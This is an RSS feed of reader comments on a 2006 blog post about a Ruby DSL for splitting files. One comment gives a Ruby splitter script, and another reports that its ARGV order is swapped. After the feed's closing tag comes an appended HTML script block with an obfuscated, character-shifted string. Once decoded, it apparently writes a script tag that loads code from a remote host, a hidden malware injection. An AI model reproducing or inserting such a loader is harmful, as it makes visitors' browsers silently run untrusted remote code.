<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: A Ruby DSL for splitting files</title>
	<atom:link href="http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/</link>
	<description>Matt Secoske's intermittent ramblings on software and life</description>
	<pubDate>Thu, 04 Dec 2008 01:35:29 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
		<item>
		<title>By: Brooks</title>
		<link>http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/#comment-67196</link>
		<dc:creator>Brooks</dc:creator>
		<pubDate>Thu, 08 May 2008 05:10:07 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/#comment-67196</guid>
		<description>The initialize local variables section in Roger's code appears to access the ARGVs in the wrong order. To get the code to work, I had to switch things so infile = ARGV[0] and count = ARGV[1].to_i</description>
		<content:encoded><![CDATA[<p>The initialize local variables section in Roger&#8217;s code appears to access the ARGVs in the wrong order. To get the code to work, I had to switch things so infile = ARGV[0] and count = ARGV[1].to_i</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Roger Henson</title>
		<link>http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/#comment-2413</link>
		<dc:creator>Roger Henson</dc:creator>
		<pubDate>Tue, 05 Sep 2006 20:37:34 +0000</pubDate>
		<guid isPermaLink="false">http://blog.secosoft.net/2006/08/27/a-ruby-dsl-for-splitting-files/#comment-2413</guid>
		<description>Matt, 

I decided to take your challenge after looking at yours and Blaine's code.  Here is my solutions for the file splitter problem:

# splits.rb -- splits one input file into multiple output files
#
# Usage:  ruby splits.rb infile count
#
#         where infile is the file you want to split and
#         count is the maximum number of lines you want in each file
#
# Author: Roger Henson 09/05/2006
#
if ARGV.size &lt; 2                        # if user did not supply
filename and count
  File.open($0.to_s, "r") do &#124;sourcefile&#124;          # open this source code
     while sourceline = sourcefile.gets            # read source and
       puts sourceline if sourcefile.lineno &lt; 8    # write usage comments
     end
  end
  exit                                  # exit program
end

# initialize local variables
count = ARGV[0].to_i
infile = ARGV[1]
num = 0

# open and process the user's input file using &#124;file&#124; block
File.open(infile, "r") do &#124;file&#124;
  while inline = file.gets                         # get next while
there are input lines
    if ((file.lineno % count) == 1)&#124;&#124;(file.lineno == 1)   # make a new
file?
      num += 1                                     # yes, add 1 to
filenumber count
      outfile = infile + num.to_s                  # append filenumber
to filename
      outline = File.open(outfile, "w+")           # open a new output
file
    end
    outline.puts(inline)                           # put one input line
to output file
  end
end

----------------------------------------------------------------------------------------

To test it, I created an Excel macro to generate a csv file containing
the numbers 1 through 1100 and their corresponding value in words. For
example:
1,One
2,Two
3,Three
4,Four
5,Five
.. etc

This made it easy to see where the file breaks were during testing.  The
program starts with a piece of code I converted to Ruby from one of my
REXX programs.  It displays the first seven lines (comments) of the
source file when the user does not supply all arguments.  By putting
program usage in comments at the top, I can provide a simple help
message and document the code at the same time.
</description>
		<content:encoded><![CDATA[<p>Matt, </p>
<p>I decided to take your challenge after looking at yours and Blaine&#8217;s code.  Here is my solutions for the file splitter problem:</p>
<p># splits.rb &#8212; splits one input file into multiple output files<br />
#<br />
# Usage:  ruby splits.rb infile count<br />
#<br />
#         where infile is the file you want to split and<br />
#         count is the maximum number of lines you want in each file<br />
#<br />
# Author: Roger Henson 09/05/2006<br />
#<br />
if ARGV.size < 2                        # if user did not supply<br />
filename and count<br />
  File.open($0.to_s, &#8220;r&#8221;) do |sourcefile|          # open this source code<br />
     while sourceline = sourcefile.gets            # read source and<br />
       puts sourceline if sourcefile.lineno < 8    # write usage comments<br />
     end<br />
  end<br />
  exit                                  # exit program<br />
end</p>
<p># initialize local variables<br />
count = ARGV[0].to_i<br />
infile = ARGV[1]<br />
num = 0</p>
<p># open and process the user&#8217;s input file using |file| block<br />
File.open(infile, &#8220;r&#8221;) do |file|<br />
  while inline = file.gets                         # get next while<br />
there are input lines<br />
    if ((file.lineno % count) == 1)||(file.lineno == 1)   # make a new<br />
file?<br />
      num += 1                                     # yes, add 1 to<br />
filenumber count<br />
      outfile = infile + num.to_s                  # append filenumber<br />
to filename<br />
      outline = File.open(outfile, &#8220;w+&#8221;)           # open a new output<br />
file<br />
    end<br />
    outline.puts(inline)                           # put one input line<br />
to output file<br />
  end<br />
end</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>To test it, I created an Excel macro to generate a csv file containing<br />
the numbers 1 through 1100 and their corresponding value in words. For<br />
example:<br />
1,One<br />
2,Two<br />
3,Three<br />
4,Four<br />
5,Five<br />
.. etc</p>
<p>This made it easy to see where the file breaks were during testing.  The<br />
program starts with a piece of code I converted to Ruby from one of my<br />
REXX programs.  It displays the first seven lines (comments) of the<br />
source file when the user does not supply all arguments.  By putting<br />
program usage in comments at the top, I can provide a simple help<br />
message and document the code at the same time.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>

